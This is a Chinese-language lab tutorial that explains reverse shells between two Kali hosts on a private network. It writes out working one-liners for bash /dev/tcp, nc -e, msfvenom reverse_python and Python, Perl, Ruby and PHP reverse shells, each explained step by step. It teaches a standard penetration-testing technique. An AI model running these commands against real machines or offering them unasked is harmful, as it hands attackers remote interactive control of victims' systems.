预备知识
1. 关于反弹shell
就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
2. 反弹shell的原因
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1)某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2)它的ip会动态改变,你不能持续控制。
3)由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4)对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
实验环境
Kali两台
hostA:10.1.1.100
hostB:10.1.1.101
实验步骤一
反弹shell是外网渗透的最后一步,也是内网渗透的第一步,本次实验不针对具体的某次渗透过程,重点在于针对反弹shell常见下的功能实现以及原理理解。
先来看两台机器ip
攻击机(称主机A)
靶机(称主机B)
bash直接反弹
在主机A使用nc监听 ,命令:nc -lvvp 123
在主机B上使用bash直接反弹,命令:bash -i >& /dev/tcp/10.1.1.100/123 0>&1
此时主机A收到shell了
这种方式是完全从原理出发,而且涉及到linux的一些本质知识点,所以展开来具体说一下。
关键点在主机B上执行的那一句话。
1. Bash –I 即产生一个bash交互环境
2. >&
1)当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件
2)当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
3. /dev/tcp/10.1.1.100/123 让主机B与主机A(10.1.1.100)进行tcp连接,端口为123(注:linux下所有内容都以文件形式组织存在,所以看到/dev/tcp不用感到奇怪,它是Linux中的一个特殊设备,打开这个文件就相当于进行了一个socket调用,建立一个socket连接)
>& 后面接 /dev/tcp/ip/port,根据3的注释和2的注释1)部分可知,意思为将标准输出和标准错误输出重定向到这个文件,重定向到socket连接的远程主机A上,此时如果主机A正在监听相应的端口,就会收到主机B的bash的标准输出和标准错误输出
4. 0>&1 将标准输入重定向到标准输出,而标准输出在之前已经重定向到主机A了,添加这一部分是因为如果没有这一部分,在主机A上只能接收输出,而无法输入,或者说无法交互,添加上这一部分后,在主机A看来,就相当于拿到了主机B的shell
(注:0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>)
根据分析我们可以修改一下这句话,看看是否如我们分析的这样
1)将0>&1修改为0>&2
同样现在主机A开启监听,命令:nc -lvvp 123
主机B修改后执行,命令:bash -i >& /dev/tcp/10.1.1.100/123 0>&2
主机A同样的效果
2)不添加 0>&2
主机A连接,命令:nc -lvvp 123
主机B修改后运行,命令:bash -i >& /dev/tcp/10.1.1.100/123
主机A同样建立了连接,但是输入命令是没有效果的
在主机B中输入命令时,主机B没有回显,回显出现在主机A上,命令执行后的回显也是在主机A上
这正好说明了缺失第4部分的内容时,主机A只能标准输出和标准错误输出,没有标准输入,这一部分的知识点非常重要,好好理解。
实验步骤二
利用nc
主机A开启监听,命令:nc -lvvp 1234
主机B反弹一句话,命令:nc 10.1.1.100 1234 -t -e /bin/bash
命令的意思是:使用nc命令直接建立一个tcp 1234 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机
此时反弹成功
利用msfvenom
在主机A上使用msfvenom –l进行搜索相关payload
结合关键字进行过滤,优化搜索结果
本次要用到的是反弹shell相关的payload,所以关键字为'cmd/unix/reverse',配合grep进行匹配即可
则输入如下命令:msfvenom -l payloads | grep 'cmd/unix/reverse'
从结果中可以看到有许多实现的方式,包括lua、nodej、perl等,为什么会有这么多方式呢?这是为了适应不同靶机的需求,可能目标靶机上只有perl的执行环境,那么就可以使用perl实现的反弹shell的payload,如果靶机上只有python的环境,那么就使用python实现的payload,此处以python为例。选定payload后,设置后本机的ip和监听的端口
命令:msfvenom -p cmd/unix/reverse_python lhost=10.1.1.100 lport=1234
然后主机A上启动nc进行监听
切换到主机B,在终端输入msfvenom给出的payload
回车执行,即可在主机A上收到反弹的shell
事实上,这部分的payload解码后就是python的一段脚本
具体语言的反弹shell功能的实现会在下一部分提及
实验步骤三
具体语言实现
先看python的
还是现在主机A上监听,命令nc -lvvp 123
然后主机B上执行python,命令python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.1.100',123));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"
此时在主机A上就收到反弹shell了
我们分析下这段脚本的内容
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.105',123)) 建立socket连接
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); 使用了os模块的dup2函数和socket模块的fileno函数
fileno函数:返回套接字的文件描述符fd,如果从shell中运行一个进程,默认会有3个文件描述符存在(0、1、2), 0与进程的标准输入相关联,1与进程的标准输出相关联,2与进程的标准错误输出相关联。
Dup2函数:dup2传入两个文件描述符,f1和f2(f1是必须存在的),如果f2存在,就关闭f2,然后将f1代表的那个文件强行复制给f2,f2这个文件描述符不会发生变化,但是fd2指向的文件就变成了f1指向的文件。这个函数最大的作用是重定向
这句的代码的作用就是将fd2指向s.fileno(),而fileno()返回的是建立socket连接返回的文件描述符fd,也就是将将标准输入、标准输出、标准错误输出重定向到远程
p=subprocess.call(['/bin/bash','-i']) 使用subprocess在本地开启子进程,同时传入“i“使得bash以交互模式启动
经过以上代码的功能整合,在主机A就相当于接收到了主机B的shell
其他语言的实现也是同样的道理,关键的点都在于建立socket连接以及之后的交互实现
1)perl语言的
perl -e 'use Socket;$i="10.1.1.100";$p=123;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2)ruby语言的
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.1.1.100","123");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
3)php语言
最简单的是利用php的exec函数直接执行第一部分的那条bash反弹的命令,不过更常见的是这条命令
php -r '$sock=fsockopen("10.1.1.100",123);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
3代表fsockopen函数建立socket连接后返回的文件描述符,在exec函数中进行重定向,其中的0,1,2分别是前面提到的标准输入、标准输出、标准错误输出。原理与前面分析的一致。